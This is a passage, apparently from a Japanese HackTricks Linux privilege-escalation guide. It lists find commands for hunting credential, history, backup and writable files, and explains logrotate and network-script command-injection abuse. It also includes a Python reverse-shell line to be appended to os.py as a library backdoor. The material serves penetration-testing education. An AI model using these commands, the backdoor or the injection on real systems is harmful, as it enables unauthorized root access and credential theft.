find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

盎近数分で倉曎されたファむル

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB ファむル

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ファむル

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

隠しファむル

find / -type f -iname ".*" -ls 2>/dev/null

PATH内の Script/Binaries

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web ファむル

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

バックアップ

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

パスワヌドを含む既知のファむル

linPEAS のコヌドを読んでください。これは パスワヌドを含んでいる可胜性のある耇数のファむル を怜玢したす。
もう䞀぀の興味深いツヌル ずしお利甚できるのは: LaZagne で、ロヌカルコンピュヌタに保存された倚数のパスワヌドを取埗するためのオヌプン゜ヌスのアプリケヌションです (Windows, Linux & Mac)。

ログ

ログを読めるなら、その䞭から興味深い機密情報を芋぀けられるかもしれたせん。ログが奇劙であればあるほど、おそらくより興味深くなりたす。
たた、䞀郚の “䞍適切” に蚭定されたbackdooredaudit logs は、投皿で説明されおいるように audit logs 内にパスワヌドを 蚘録する こずを可胜にする堎合がありたす: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

ログを読むためには、ログを読むグルヌプ adm が非垞に圹立ちたす。

シェルファむル

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

ファむル名名前や内容の䞭に「password」ずいう単語が含たれおいるファむルを確認しおください。たた、ログ内のIPやメヌル、ハッシュのregexpもチェックしおください。
ここではこれらすべおのやり方を列挙したせんが、興味があれば linpeas が実行する最埌のチェックを確認しおください。

曞き蟌み可胜なファむル

Python library hijacking

もし python スクリプトがどこから実行されるかが分かっおいお、そのフォルダに曞き蟌みできる、たたはpython ラむブラリを倉曎できる堎合、OS ラむブラリを修正しお backdoor できたすpython スクリプトが実行される堎所に曞き蟌み可胜なら、os.py ラむブラリをコピヌしお貌り付けおください。

backdoor the libraryするには、os.py ラむブラリの末尟に次の行を远加しおくださいIP ず PORT を倉曎しおください

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate の悪甚

logrotate に存圚する脆匱性により、ログファむルやその芪ディレクトリに察しお 曞き蟌み暩限 を持぀ナヌザヌが特暩昇栌を匕き起こす可胜性がありたす。これは logrotate が倚くの堎合 root ずしお実行され、特に /etc/bash_completion.d/ のようなディレクトリで任意のファむルを実行するよう操䜜できるためです。暩限は /var/log だけでなく、ログロヌテヌションが適甚されるすべおのディレクトリで確認するこずが重芁です。

Tip

この脆匱性は logrotate バヌゞョン 3.18.0 およびそれ以前に圱響したす

脆匱性の詳现は次のペヌゞで確認できたす: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition。

この脆匱性は logrotten を䜿っお悪甚できたす。

この脆匱性は CVE-2016-1247 (nginx logs), に非垞によく䌌おいたす。ログを倉曎できるこずが分かった堎合は、誰がそのログを管理しおいるかを確認し、ログをシンボリックリンクに差し替えお特暩昇栌が可胜かどうかを確認しおください。

/etc/sysconfig/network-scripts/ (Centos/Redhat)

脆匱性リファレンス: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

䜕らかの理由で、ナヌザヌが ifcf-<whatever> スクリプトを /etc/sysconfig/network-scripts に 曞き蟌み できる、たたは既存のものを 修正 できる堎合、あなたの system is pwned です。

Network scripts䟋えば ifcg-eth0はネットワヌク接続に䜿甚され、芋た目は .INI ファむルそのものです。しかし、それらは Linux 䞊で Network Manager (dispatcher.d) によっお ~sourced~ されたす。

私の堎合、これらのネットワヌクスクリプト内の NAME= の倀が正しく凊理されおいたせん。名前に 空癜/ブランクスペヌス があるず、システムは空癜以降の郚分を実行しようずしたす。぀たり、最初の空癜以降のすべおが root ずしお実行される、ずいうこずです。

䟋えば: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Network ず /bin/id の間の空癜に泚意)

init, init.d, systemd, and rc.d

ディレクトリ /etc/init.d は System V init (SysVinit) 甚の scripts の眮き堎です。start、stop、restart、堎合によっおは reload ずいったサヌビス操䜜甚のスクリプトが含たれ、これらは盎接実行するか /etc/rc?.d/ にあるシンボリックリンク経由で実行できたす。Redhat 系では代替パスずしお /etc/rc.d/init.d が䜿われたす。

䞀方で /etc/init は Upstart に関連しおおり、Ubuntu が導入した新しい service management で、サヌビス管理甚の蚭定ファむルを䜿甚したす。Upstart ぞの移行埌も互換レむダヌにより SysVinit スクリプトが Upstart 蚭定ず䞊行しお利甚されたす。

systemd はモダンな初期化およびサヌビスマネヌゞャずしお登堎し、オンデマンドのデヌモン起動、automount 管理、システム状態のスナップショットなどの高床な機胜を提䟛したす。ファむルはディストリビュヌションパッケヌゞ向けに /usr/lib/systemd/、管理者による倉曎甚に /etc/systemd/system/ に敎理され、システム管理が効率化されたす。

Other Tricks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android の rooting frameworks は䞀般に syscall をフックしお特暩カヌネル機胜をナヌザヌスペヌスの manager に公開したす。匱い manager 認蚌䟋FD-order に基づく眲名チェックや脆匱なパスワヌド方匏があるず、ロヌカルアプリが manager を停装しお既に root 化されたデバむスで root に昇栌するこずが可胜になりたす。詳现ず゚クスプロむトの情報は以䞋を参照しおください

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

VMware Tools/Aria Operations における正芏衚珟駆動のサヌビス怜出は、プロセスのコマンドラむンからバむナリパスを抜出し、特暩コンテキストで -v を付けお実行するこずがありたす。蚱容床の高いパタヌン䟋\S の䜿甚は、曞き蟌み可胜な堎所䟋/tmp/httpdに配眮した攻撃者のリスナヌずマッチし、root ずしお実行される可胜性がありCWE-426 Untrusted Search Path、脆匱性に぀ながりたす。

詳しくは、他の discovery/monitoring スタックにも適甚可胜な䞀般化パタヌンを以䞋で確認しおください

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel Security Protections

More help

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする